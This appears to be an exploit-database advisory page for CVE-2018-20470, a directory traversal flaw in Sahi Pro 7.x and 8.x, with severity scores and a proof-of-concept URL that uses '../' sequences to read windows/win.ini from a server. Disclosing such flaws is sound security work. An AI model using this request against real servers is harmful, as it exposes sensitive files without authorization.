Sahi pro 7.x/8.x - Directory Traversal

2019-06-1800:00:00

Goutham Madhwaraj

www.exploit-db.com

147

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

EPSS

0.111

Percentile

95.2%

JSON

# Exploit Title: Sahi pro ( <= 8.x ) Directory traversal
# Date: 17-06-2019
# Exploit Author: Goutham Madhwaraj ( https://barriersec.com )
# Vendor Homepage: https://sahipro.com/
# Software Link: https://sahipro.com/downloads-archive/
# Version: 7.x , <= 8.x
# Tested on: Windows 10
# CVE : CVE-2018-20470


Description :

An issue was discovered in Tyto Sahi Pro through 7.x.x and 8.0.0. A directory traversal (arbitrary file access) vulnerability exists in the web reports module. This allows an outside attacker to view contents of sensitive files.

POC :

vulnerable URL :

''' replace the ip and port of the remote sahi pro server machine '''


http://<ip>:<port>/_s_/dyn/Log_highlight?href=../../../../windows/win.ini&n=1#selected